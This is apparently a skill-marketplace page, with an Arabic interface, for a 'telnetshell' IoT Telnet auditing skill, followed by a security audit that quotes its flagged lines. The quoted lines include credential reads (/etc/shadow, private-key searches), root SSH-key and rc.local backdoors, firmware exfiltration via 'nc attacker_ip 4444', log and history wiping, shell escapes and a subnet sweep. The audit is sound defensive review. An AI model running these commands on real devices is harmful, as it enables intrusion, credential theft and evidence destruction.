المهارات telnetshell
📦

telnetshell

مراجعة المحتوى r2 حرج 📁 الوصول إلى نظام الملفات⚙️ الأوامر الخارجية🌐 الوصول إلى الشبكة

تدقيق واجهات Telnet shell لأجهزة IoT

يصعب فحص واجهات telnet shell لأجهزة IoT بشكل متسق أثناء اختبارات الأمان المصرّح بها. توفّر هذه المهارة أداة مساعدة لـ telnet، ونصوص تعداد، وإرشادات تسجيل، وسير عمل منظّمة لتقييم الأجهزة.

يدعم: Claude Codex Code(CC)
⚠️ 38 ضعيف

التثبيت باستخدام Agent لدي

انسخ هذا الطلب إلى Agent لديك. يتضمن صفحة Skill المعتمدة وملف manifest.

طلب الوكيل
Review the Skillstore skill "telnetshell" from https://skillstore.io/skills/brownfinesecurity-telnetshell.md and its manifest at https://skillstore.io/api/skills/brownfinesecurity-telnetshell/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.

يجب أن يواصل Agent عرض خطته وطلب أي تأكيد تفرضه سياسة الأمان.

موارد مهيّأة لـ Agents

استخدم هذه الروابط عندما يحتاج AI Agent أو crawler أو script إلى سياق نظيف بدلًا من قراءة الصفحة كاملة.

تفاصيل Markdown GET /skills/brownfinesecurity-telnetshell.md manifest موقَّع GET /api/skills/brownfinesecurity-telnetshell/manifest lockfile موقَّع GET /api/skills/brownfinesecurity-telnetshell/lockfile

اختبرها

جارٍ استخدام "telnetshell". شغّل جردًا أساسيًا للجهاز على هدف telnet مصرّح به.

النتيجة المتوقعة:

يسرد التقرير اسم المضيف، وإصدار النواة، ووجود BusyBox، وأنظمة الملفات المركّبة، والخدمات المفتوحة، مع ملاحظات حول الأوامر غير المكتملة.

جارٍ استخدام "telnetshell". لخّص سجل جلسة telnet من اختبار مختبري لكاميرا IoT.

النتيجة المتوقعة:

يفصل الملخص أحداث الاتصال، والأوامر المرسلة، ومخرجات الأوامر، والموجّهات المكتشفة، والتحذيرات، وفحوصات المتابعة.

جارٍ استخدام "telnetshell". حدّد الأمثلة غير الآمنة في هذه المهارة قبل النشر.

النتيجة المتوقعة:

تضع المراجعة علامات على الاستمرارية، واستخراج بيانات الاعتماد، وتصدير البرامج الثابتة، والفحص الداخلي، وإرشادات التنظيف باعتبارها محتوى غير آمن لـ marketplace.

التدقيق الأمني

حرج
v9 • ٢٣‏/٧‏/٢٠٢٦ فتح التقرير المرتبط بالإصدار

The skill intentionally executes arbitrary Telnet commands and includes credential discovery, persistence, firmware extraction, network scanning, data exfiltration, and anti-forensic examples. Markdown formatting, private example addresses, and ANSI-cleaning detections are false positives, but multiple confirmed critical workflows require strict controls. No prompt injection attempt was found.

8
الملفات التي تم فحصها
2,017
الأسطر التي تم تحليلها
106
عناصر المراجعة
0
تم تجاهل الإيجابيات الكاذبة

مخاوف أمنية مؤكدة (74)

حرج
enum_security.txt:40
SSH private key file
find / -name "id_rsa*" 2>/dev/null
The enumeration script searches the entire remote filesystem for SSH private keys. Any discovered key could enable credential theft and lateral access.
حرج
enum_security.txt:10
System password file access
cat /etc/passwd
The command at enum_security.txt:10 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
حرج
enum_security.txt:14
System password file access
cat /etc/shadow
The command at enum_security.txt:14 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
حرج
enum_security.txt:54
Sudoers file access
cat /etc/sudoers 2>/dev/null
The command at enum_security.txt:54 reads the target's sudoers configuration during privilege-escalation enumeration. This exposes privileged command policy and escalation paths.
حرج
examples.md:262
SSH directory access
echo "$YOUR_KEY" >> /root/.ssh/authorized_keys
The command at examples.md:262 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
حرج
examples.md:264
SSH directory access
chmod 600 /root/.ssh/authorized_keys
The command at examples.md:264 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
حرج
examples.md:265
SSH directory access
cat /root/.ssh/authorized_keys
The command at examples.md:265 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
حرج
examples.md:272
Malware type keywords
# Add backdoor to startup
The content at examples.md:272 is part of a workflow that installs a backdoor in a startup script. It establishes unauthorized persistent shell access.
عرض جميع النتائج المؤكدة البالغة 74
حرج
examples.md:273
Malware type keywords
cat > add_backdoor.txt <<'EOF'
The content at examples.md:273 is part of a workflow that installs a backdoor in a startup script. It establishes unauthorized persistent shell access.
حرج
examples.md:281
Malware type keywords
--script add_backdoor.txt
The content at examples.md:281 is part of a workflow that installs a backdoor in a startup script. It establishes unauthorized persistent shell access.
حرج
examples.md:142
System password file access
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /etc/passwd"
The command at examples.md:142 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
حرج
examples.md:328
System password file access
"/etc/passwd"
The command at examples.md:328 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
حرج
examples.md:329
System password file access
"/etc/shadow"
The command at examples.md:329 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
حرج
examples.md:387
Shell history clearing
history -c
The cleanup script clears shell history specifically after post-exploitation activity. This removes evidence and impedes incident investigation.
حرج
examples.md:386
Log file deletion
rm -f /var/log/*
The example deletes all files under /var/log as part of removing traces. This is explicit anti-forensic behavior that destroys audit evidence.
حرج
SKILL.md:371
SSH directory access
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The command at SKILL.md:371 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
حرج
SKILL.md:372
SSH directory access
chmod 600 /root/.ssh/authorized_keys
The command at SKILL.md:372 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
حرج
SKILL.md:383
Malware type keywords
echo "/path/to/backdoor &" >> /etc/rc.local
The content at SKILL.md:383 is part of a workflow that installs a backdoor in a startup script. It establishes unauthorized persistent shell access.
حرج
SKILL.md:171
System password file access
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /etc/passwd"
The command at SKILL.md:171 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
حرج
SKILL.md:295
System password file access
cat /etc/passwd
The command at SKILL.md:295 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
حرج
SKILL.md:296
System password file access
cat /etc/shadow # If readable - major security issue!
The command at SKILL.md:296 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
حرج
SKILL.md:442
System password file access
less /etc/passwd # Then !/bin/sh
The command at SKILL.md:442 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
حرج
SKILL.md:301
Sudoers file access
cat /etc/sudoers
The command at SKILL.md:301 reads the target's sudoers configuration during privilege-escalation enumeration. This exposes privileged command policy and escalation paths.
حرج
examples.md:319-359
Explicit Sensitive Data Exfiltration Workflow
The guide labels a workflow Data Exfiltration and automates copying password files, network configuration, and databases from a target.
The heading and commands explicitly describe extraction, including /etc/shadow and discovered databases. The intent is direct and not inferred from keywords alone.
مرتفع
enum_security.txt:41
SSH host/auth files
find / -name "authorized_keys" 2>/dev/null
The command at enum_security.txt:41 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
مرتفع
enum_security.txt:38
Certificate/key files
find / -name "*.key" 2>/dev/null
The command at enum_security.txt:38 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
مرتفع
enum_security.txt:39
Certificate/key files
find / -name "*.pem" 2>/dev/null
The command at enum_security.txt:39 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
مرتفع
examples.md:262
SSH host/auth files
echo "$YOUR_KEY" >> /root/.ssh/authorized_keys
The command at examples.md:262 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
مرتفع
examples.md:264
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
The command at examples.md:264 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
مرتفع
examples.md:265
SSH host/auth files
cat /root/.ssh/authorized_keys
The command at examples.md:265 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
مرتفع
examples.md:178
Certificate/key files
find / -name "*.key" 2>/dev/null
The command at examples.md:178 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
مرتفع
examples.md:179
Certificate/key files
find / -name "*.pem" 2>/dev/null
The command at examples.md:179 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
مرتفع
examples.md:352
SQLite database file
--command "find / -name '*.db' -o -name '*.sqlite' 2>/dev/null" | \
The command finds database files and feeds their paths into a subsequent extraction loop. This can copy application data from the target without data minimization.
مرتفع
SKILL.md:371
SSH host/auth files
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The command at SKILL.md:371 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
مرتفع
SKILL.md:372
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
The command at SKILL.md:372 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
مرتفع
SKILL.md:327
Certificate/key files
find / -name "*.pem" 2>/dev/null
The command at SKILL.md:327 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
مرتفع
SKILL.md:328
Certificate/key files
find / -name "*.key" 2>/dev/null
The command at SKILL.md:328 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
مرتفع
SKILL.md:424-431
Default Credential Guessing Guidance
The skill instructs users to try common default root and administrator credentials when a password prompt appears.
The listed username and password pairs are explicit credential guesses. Authorization is mentioned elsewhere but is not enforced before these instructions.
مرتفع
examples.md:300-314
Pivoted Internal Network Scanning
The example uses the accessed device to sweep its local subnet, expanding discovery beyond the original Telnet target.
The heading says Network Scanning from Device and the loop probes 254 local addresses. This is clear lateral reconnaissance intent.
منخفض
enum_files.txt:41
System reconnaissance
cat /proc/sys/kernel/hostname
The command at enum_files.txt:41 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
enum_network.txt:5
Network reconnaissance
ifconfig -a
The command at enum_network.txt:5 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
منخفض
enum_network.txt:17
Network reconnaissance
netstat -tulpn
The command at enum_network.txt:17 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
منخفض
enum_network.txt:18
Network reconnaissance
netstat -an
The command at enum_network.txt:18 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
منخفض
enum_network.txt:32
Network reconnaissance
netstat -s
The command at enum_network.txt:32 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
منخفض
enum_security.txt:5-6
System reconnaissance
id
The command at enum_security.txt:5 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
enum_security.txt:6
System reconnaissance
whoami
The command at enum_security.txt:6 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
enum_security.txt:32
System reconnaissance
find / -user `whoami` 2>/dev/null
The command at enum_security.txt:32 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
enum_system.txt:5
System reconnaissance
uname -a
The command at enum_system.txt:5 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
enum_system.txt:7
System reconnaissance
hostname
The command at enum_system.txt:7 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
examples.md:27
System reconnaissance
--command "uname -a"
The command at examples.md:27 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
examples.md:48
System reconnaissance
hostname
The command at examples.md:48 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
examples.md:49
System reconnaissance
uname -a
The command at examples.md:49 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
examples.md:125
System reconnaissance
$HELPER --host "$DEVICE" --port "$PORT" --command "uname -a"
The command at examples.md:125 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
examples.md:130
Network reconnaissance
$HELPER --host "$DEVICE" --port "$PORT" --command "ifconfig | grep -E '(inet|ether)'"
The command at examples.md:130 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
منخفض
examples.md:138
Network reconnaissance
$HELPER --host "$DEVICE" --port "$PORT" --command "netstat -tulpn"
The command at examples.md:138 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
منخفض
examples.md:295
Network reconnaissance
--command "netstat -tulpn" --json | \
The command at examples.md:295 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
منخفض
SKILL.md:47
System reconnaissance
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
The command at SKILL.md:47 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
SKILL.md:68
System reconnaissance
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
The command at SKILL.md:68 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
SKILL.md:74
System reconnaissance
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a" --json
The command at SKILL.md:74 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
SKILL.md:150
System reconnaissance
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "uname -a"
The command at SKILL.md:150 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
SKILL.md:259
System reconnaissance
uname -a
The command at SKILL.md:259 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
SKILL.md:270
System reconnaissance
hostname
The command at SKILL.md:270 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
SKILL.md:271
System reconnaissance
cat /etc/hostname
The command at SKILL.md:271 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
SKILL.md:290-291
System reconnaissance
id
The command at SKILL.md:290 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
SKILL.md:291
System reconnaissance
whoami
The command at SKILL.md:291 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
SKILL.md:509
System reconnaissance
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
The command at SKILL.md:509 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
SKILL.md:68
Network reconnaissance
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
The command at SKILL.md:68 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
منخفض
SKILL.md:158
Network reconnaissance
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ifconfig"
The command at SKILL.md:158 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
منخفض
SKILL.md:160
Network reconnaissance
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "netstat -tulpn"
The command at SKILL.md:160 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
منخفض
SKILL.md:272
Network reconnaissance
ifconfig -a
The command at SKILL.md:272 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
منخفض
SKILL.md:307
Network reconnaissance
netstat -tulpn
The command at SKILL.md:307 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
منخفض
SKILL.md:450-451
Network reconnaissance
- [ ] Check for unauthenticated access
The command at SKILL.md:450 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
منخفض
telnet_helper.py:347
System reconnaissance
%(prog)s --host 192.168.1.100 --command "uname -a"
The command at telnet_helper.py:347 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
منخفض
telnet_helper.py:365
Network reconnaissance
%(prog)s --host 192.168.1.100 --command "ifconfig" --json
The command at telnet_helper.py:365 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
عناصر مراجعة القدرات (106)

هذه قدرات محلية حقيقية قد يُتوقع وجودها لهذه المهارة، لذا فهي تتطلب مراجعة ولكن لا تُحتسب كسلوك خبيث مؤكد.

حرج
examples.md:340
Shell command substitution
--command "cat $file" > "./extracted$(echo $file | tr '/' '_')"
The substitution at examples.md:340 participates in bulk extraction of target files. Remote-derived filenames can also alter generated commands or local output paths.
حرج
examples.md:358
Shell command substitution
--command "cat $dbfile" > "./$(basename $dbfile)"
The substitution at examples.md:358 participates in bulk extraction of target files. Remote-derived filenames can also alter generated commands or local output paths.
حرج
examples.md:274
Unix shell invocation
echo "telnetd -l /bin/sh -p 9999 &" >> /etc/init.d/rcS
This command adds an unauthenticated /bin/sh Telnet service to device startup. It creates a persistent backdoor.
حرج
examples.md:261
Hidden file access
mkdir -p /root/.ssh
The command at examples.md:261 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
حرج
examples.md:262
Hidden file access
echo "$YOUR_KEY" >> /root/.ssh/authorized_keys
The command at examples.md:262 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
حرج
examples.md:263
Hidden file access
chmod 700 /root/.ssh
The command at examples.md:263 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
حرج
examples.md:264
Hidden file access
chmod 600 /root/.ssh/authorized_keys
The command at examples.md:264 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
حرج
examples.md:265
Hidden file access
cat /root/.ssh/authorized_keys
The command at examples.md:265 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
حرج
examples.md:231
Non-standard device file access
--command "dd if=/dev/mtd2 | nc 192.168.1.50 4444"
The command at examples.md:231 reads raw MTD flash device data for firmware extraction. Raw partition copying can expose complete firmware and embedded secrets.
حرج
examples.md:385
Temp directory access
rm -f /tmp/*
The cleanup workflow deletes every entry under /tmp. This can destroy unrelated data and removes artifacts after post-exploitation.
حرج
SKILL.md:444
Ruby/PHP system() call
awk 'BEGIN {system("/bin/sh")}'
This is an executable awk system call that launches /bin/sh as a limited-shell escape. It is not an inert language example.
حرج
SKILL.md:439
Unix shell invocation
/bin/sh
The command at SKILL.md:439 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
حرج
SKILL.md:440
Unix shell invocation
/bin/bash
The command at SKILL.md:440 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
حرج
SKILL.md:441
Unix shell invocation
vi # Then :!/bin/sh
The command at SKILL.md:441 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
حرج
SKILL.md:442
Unix shell invocation
less /etc/passwd # Then !/bin/sh
The command at SKILL.md:442 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
حرج
SKILL.md:443
Unix shell invocation
find / -exec /bin/sh \;
The command at SKILL.md:443 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
حرج
SKILL.md:444
Unix shell invocation
awk 'BEGIN {system("/bin/sh")}'
The command at SKILL.md:444 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
حرج
SKILL.md:370
Hidden file access
mkdir -p /root/.ssh
The command at SKILL.md:370 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
حرج
SKILL.md:371
Hidden file access
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The command at SKILL.md:371 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
حرج
SKILL.md:372
Hidden file access
chmod 600 /root/.ssh/authorized_keys
The command at SKILL.md:372 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
حرج
SKILL.md:373
Hidden file access
chmod 700 /root/.ssh
The command at SKILL.md:373 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
حرج
SKILL.md:395
Non-standard device file access
dd if=/dev/mtd0 of=/tmp/bootloader.bin
The command at SKILL.md:395 reads raw MTD flash device data for firmware extraction. Raw partition copying can expose complete firmware and embedded secrets.
حرج
SKILL.md:396
Non-standard device file access
dd if=/dev/mtd1 of=/tmp/kernel.bin
The command at SKILL.md:396 reads raw MTD flash device data for firmware extraction. Raw partition copying can expose complete firmware and embedded secrets.
حرج
SKILL.md:397
Non-standard device file access
dd if=/dev/mtd2 of=/tmp/rootfs.bin
The command at SKILL.md:397 reads raw MTD flash device data for firmware extraction. Raw partition copying can expose complete firmware and embedded secrets.
حرج
SKILL.md:395
Temp directory access
dd if=/dev/mtd0 of=/tmp/bootloader.bin
The command at SKILL.md:395 stages or transfers raw firmware through /tmp. This exposes sensitive device images and uses a shared directory for extraction.
حرج
SKILL.md:396
Temp directory access
dd if=/dev/mtd1 of=/tmp/kernel.bin
The command at SKILL.md:396 stages or transfers raw firmware through /tmp. This exposes sensitive device images and uses a shared directory for extraction.
حرج
SKILL.md:397
Temp directory access
dd if=/dev/mtd2 of=/tmp/rootfs.bin
The command at SKILL.md:397 stages or transfers raw firmware through /tmp. This exposes sensitive device images and uses a shared directory for extraction.
حرج
SKILL.md:401
Temp directory access
nc attacker_ip 4444 < /tmp/rootfs.bin
The command at SKILL.md:401 stages or transfers raw firmware through /tmp. This exposes sensitive device images and uses a shared directory for extraction.
مرتفع
enum_files.txt:41
Linux /proc filesystem access
cat /proc/sys/kernel/hostname
The command at enum_files.txt:41 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
enum_files.txt:42
Linux /proc filesystem access
cat /proc/sys/kernel/version
The command at enum_files.txt:42 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
enum_network.txt:6
Linux /proc filesystem access
cat /proc/net/dev
The command at enum_network.txt:6 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
enum_network.txt:10
Linux /proc filesystem access
cat /proc/net/route
The command at enum_network.txt:10 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
enum_network.txt:22
Linux /proc filesystem access
cat /proc/net/arp
The command at enum_network.txt:22 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
enum_network.txt:26
Linux /proc filesystem access
cat /proc/net/wireless
The command at enum_network.txt:26 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
enum_network.txt:33
Linux /proc filesystem access
cat /proc/net/snmp
The command at enum_network.txt:33 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
enum_security.txt:53
sudo privilege escalation
sudo -l
The command at enum_security.txt:53 enumerates allowed sudo operations on the target. In context, it is used to identify privilege-escalation paths.
مرتفع
enum_system.txt:6
Linux /proc filesystem access
cat /proc/version
The command at enum_system.txt:6 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
enum_system.txt:10
Linux /proc filesystem access
cat /proc/cpuinfo
The command at enum_system.txt:10 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
enum_system.txt:11
Linux /proc filesystem access
cat /proc/meminfo
The command at enum_system.txt:11 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
enum_system.txt:16
Linux /proc filesystem access
cat /proc/loadavg
The command at enum_system.txt:16 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
enum_system.txt:28
Linux /proc filesystem access
cat /proc/modules
The command at enum_system.txt:28 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
enum_system.txt:32
Linux /proc filesystem access
cat /proc/mounts
The command at enum_system.txt:32 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
enum_system.txt:36
Linux /proc filesystem access
cat /proc/partitions
The command at enum_system.txt:36 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
enum_system.txt:37
Linux /proc filesystem access
cat /proc/mtd
The command at enum_system.txt:37 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
enum_system.txt:40
Linux /proc filesystem access
cat /proc/cmdline
The command at enum_system.txt:40 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
examples.md:307
Shell command substitution
for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i && echo "Host 192.168.1.$i is up"; done
The substitution drives a 254-host ping sweep from the compromised device. It actively maps neighboring systems and can extend intrusion scope.
مرتفع
examples.md:111
Unix shell invocation
#!/bin/bash
The shebang at examples.md:111 makes a documented automation script executable. That script runs broad remote enumeration and sensitive collection commands.
مرتفع
examples.md:399
Unix shell invocation
#!/bin/bash
The shebang at examples.md:399 makes a documented automation script executable. That script runs broad remote enumeration and sensitive collection commands.
مرتفع
examples.md:50
Linux /proc filesystem access
cat /proc/version
The command at examples.md:50 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
examples.md:126
Linux /proc filesystem access
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/cpuinfo | grep -E '(model|Hardware|Revi
The command at examples.md:126 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
examples.md:211
Linux /proc filesystem access
--command "cat /proc/mtd"
The command at examples.md:211 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
examples.md:429
Linux /proc filesystem access
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/mtd" > "$REPORT_DIR/07_mtd_partitions.t
The command at examples.md:429 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
examples.md:430
Linux /proc filesystem access
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/partitions" > "$REPORT_DIR/08_partition
The command at examples.md:430 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
مرتفع
examples.md:373
Temp directory access
--logfile /tmp/manual_session.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at examples.md:373. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
examples.md:377
Temp directory access
# tail -f /tmp/manual_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at examples.md:377. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
examples.md:527
Temp directory access
- Review session logs in `/tmp/telnet_session.log`
The skill uses a predictable shared /tmp path for complete Telnet transcripts at examples.md:527. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:16
Temp directory access
By default, the telnet helper script logs all I/O to `/tmp/telnet_session.log`. This happens automat
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:16. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:22
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:22. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:36
Temp directory access
--logfile /tmp/my_session.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:36. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:40
Temp directory access
tail -f /tmp/my_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:40. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:61
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:61. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:85
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:85. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:106
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:106. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:159
Temp directory access
tail -f /tmp/telnet_session.log | grep -E '^(/\s*#|[#\$])'
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:159. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:162
Temp directory access
tail -f /tmp/telnet_session.log | grep -i error
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:162. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:165
Temp directory access
tail -f /tmp/telnet_session.log | grep -i password
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:165. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:172
Temp directory access
tail -f /tmp/telnet_session.log | ccze -A
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:172. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:175
Temp directory access
tail -f /tmp/telnet_session.log | colordiff
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:175. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:183
Temp directory access
LOGFILE="/tmp/telnet_${TIMESTAMP}.log"
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:183. Logs can contain commands, responses, credentials, and sensitive target data.
مرتفع
OBSERVING_SESSIONS.md:203
Temp directory access
--logfile /tmp/device1.log \
